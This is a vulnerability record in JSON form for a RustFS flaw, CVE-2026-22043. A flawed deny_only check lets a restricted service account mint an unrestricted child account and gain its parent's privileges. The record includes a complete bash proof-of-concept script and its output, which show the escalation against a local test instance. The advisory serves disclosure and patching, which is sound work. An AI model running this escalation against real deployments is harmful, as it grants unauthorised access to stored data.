{"id":"CVE-2026-22043","aliases":["GHSA-xgr5-qc6w-vcg9"],"url":"https://o3.security/vulnerability/CVE-2026-22043","summary":"RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting","details":"## Summary\n\nA flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.\n\n## Details\n\n**akin to MinIO CVE-2025-62506**\n\n- Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`).\n- Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`).\n- Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements.\n- Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.\n\nKey code references:\n\n- `crates/policy/src/policy/policy.rs` (deny_only short-circuit)\n- `rustfs/src/admin/handlers/service_account.rs:` (deny_only set for self/parent target)\n- `crates/iam/src/sys.rs` (service account creation defaults, no session_policy)\n\n## PoC\n\nRequires `awscli`, `awscurl`, `jq`, RustFS at `http://127.0.0.1:9000`, root AK/SK `rustfsadmin/rustfsadmin`. Run:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ===================== Config =====================\nENDPOINT=\"${ENDPOINT:-http://127.0.0.1:9000}\"\nROOT_AK=\"${ROOT_AK:-rustfsadmin}\"\nROOT_SK=\"${ROOT_SK:-rustfsadmin}\"\nPARENT_AK=\"${PARENT_AK:-restricted}\"\nPARENT_SK=\"${PARENT_SK:-restricted123}\"\nCHILD_AK=\"${CHILD_AK:-evilchild}\"\nCHILD_SK=\"${CHILD_SK:-evilchild123}\"\nAWS_REGION=\"${AWS_REGION:-us-east-1}\"\n\n# Tools\nAWSCURL_BIN=\"${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}\"\nAWS_BIN=\"${AWS_BIN:-aws}\"\nJQ_BIN=\"${JQ_BIN:-jq}\"\n\n# Disable proxies for local endpoint\nexport HTTP_PROXY=\nexport HTTPS_PROXY=\nexport NO_PROXY=127.0.0.1,localhost\n\n# ===================== Helpers =====================\naws_cmd() {\n  local ak=\"$1\" sk=\"$2\"\n  shift 2\n  AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \"$AWS_BIN\" --endpoint-url \"$ENDPOINT\" \"$@\"\n}\n\nawscurl_admin() {\n  local ak=\"$1\" sk=\"$2\"\n  shift 2\n  AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \\\n    \"$AWSCURL_BIN\" --service s3 --region \"$AWS_REGION\" --access_key \"$ak\" --secret_key \"$sk\" \"$@\"\n}\n\ntimestamp_iso() {\n  python - <<'PY'\nimport datetime\nprint((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())\nPY\n}\n\n# ===================== Cleanup =====================\necho \"[+] cleanup service accounts (ignore errors)\"\nfor ak in \"$CHILD_AK\" \"$PARENT_AK\"; do\n  awscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X DELETE \"$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak\" >/dev/null 2>&1 || true\ndone\n\necho \"[+] cleanup buckets\"\nfor b in bucket1 bucket2 bucket3; do\n  aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 rb \"s3://$b\" --force >/dev/null 2>&1 || true\ndone\n\n# ===================== Setup =====================\necho \"[+] create buckets\"\nfor b in bucket1 bucket2 bucket3; do\n  aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 mb \"s3://$b\" || true\ndone\n\necho \"[+] seed bucket3 with marker object\"\nprintf \"poc-marker\\n\" | aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 cp - s3://bucket3/poc-marker.txt\n\nEXP=\"$(timestamp_iso)\"\n\necho \"[+] create restricted policy\"\nRESTRICTED_POLICY='{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\"s3:ListBucket\"],\n      \"Resource\": [\"arn:aws:s3:::bucket1\", \"arn:aws:s3:::bucket2\"]\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\"s3:GetObject\", \"s3:PutObject\"],\n      \"Resource\": [\"arn:aws:s3:::bucket1/*\", \"arn:aws:s3:::bucket2/*\"]\n    }\n  ]\n}'\n\necho \"[+] create restricted service account\"\nawscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"$(\"$JQ_BIN\" -nc --arg ak \"$PARENT_AK\" --arg sk \"$PARENT_SK\" --arg policy \"$RESTRICTED_POLICY\" --arg exp \"$EXP\" \\\n      '{accessKey:$ak, secretKey:$sk, policy:$policy, name:\"restricted-sa\", expiration:$exp}')\" \\\n  > /tmp/restricted_sa.json\ncat /tmp/restricted_sa.json\n\necho \"[+] list buckets as restricted (expect bucket1,bucket2 only)\"\naws_cmd \"$PARENT_AK\" \"$PARENT_SK\" s3 ls\n\necho \"[+] create child service account without policy (trigger deny_only)\"\nawscurl_admin \"$PARENT_AK\" \"$PARENT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"$(\"$JQ_BIN\" -nc --arg ak \"$CHILD_AK\" --arg sk \"$CHILD_SK\" --arg exp \"$EXP\" \\\n      '{accessKey:$ak, secretKey:$sk, name:\"child-sa\", expiration:$exp}')\" \\\n  > /tmp/child_sa.json\ncat /tmp/child_sa.json\n\necho \"[+] child tries to list bucket3 (should be denied; success means vuln)\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 ls s3://bucket3; then\n  echo \"child list bucket3: SUCCESS (vuln)\"\nelse\n  echo \"child list bucket3: DENIED\"\nfi\n\necho \"[+] child tries to read marker from bucket3\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then\n  echo \"child read marker: SUCCESS (vuln). Content:\"\n  cat /tmp/poc-marker.txt\nelse\n  echo \"child read marker: DENIED\"\nfi\n\necho \"[+] child tries to write new object into bucket3\"\nif printf \"child-write\\n\" | aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp - s3://bucket3/child-write.txt; then\n  echo \"child write: SUCCESS (vuln)\"\nelse\n  echo \"child write: DENIED\"\nfi\n\n```\n\nPoC steps (in `poc.sh`):\n\n1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with `poc-marker.txt`.\n2) Create restricted policy (List/Get/Put only on bucket1/2).\n3) Create restricted service account `restricted/restricted123` with that policy.\n4) With `restricted`, create child service account `evilchild/evilchild123` **without policy** (deny_only short-circuit).\n5) With `evilchild`, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.\n\nResult:\n\n```text\n./poc.sh\n[+] cleanup service accounts (ignore errors)\n[+] cleanup buckets\n[+] create buckets\nmake_bucket: bucket1\nmake_bucket: bucket2\nmake_bucket: bucket3\n[+] seed bucket3 with marker object\n[+] create restricted policy\n[+] create restricted service account\n{\"credentials\":{\"accessKey\":\"restricted\",\"secretKey\":\"restricted123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] list buckets as restricted (expect bucket1,bucket2 only)\n2025-12-16 18:51:16 bucket1\n2025-12-16 18:51:16 bucket2\n[+] create child service account without policy (trigger deny_only)\n{\"credentials\":{\"accessKey\":\"evilchild\",\"secretKey\":\"evilchild123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] child tries to list bucket3 (should be denied; success means vuln)\n2025-12-16 18:51:17         11 poc-marker.txt\nchild list bucket3: SUCCESS (vuln)\n[+] child tries to read marker from bucket3\ndownload: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt\nchild read marker: SUCCESS (vuln). Content:\npoc-marker\n[+] child tries to write new object into bucket3\nchild write: SUCCESS (vuln)\n```\n\n## Impact\n\nPrivilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.","published":"2026-01-08T15:03:59.313Z","modified":"2026-08-12T03:51:36.691654940Z","cvss":null,"epss":{"score":0.00393,"percentile":0.32069,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"rustfs","fixedVersion":"1.0.0-alpha.79"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22043.json"},{"type":"ADVISORY","url":"https://github.com/rustfs/rustfs/security/advisories/GHSA-xgr5-qc6w-vcg9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22043"},{"type":"PACKAGE","url":"https://github.com/rustfs/rustfs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:36.691654940Z"}}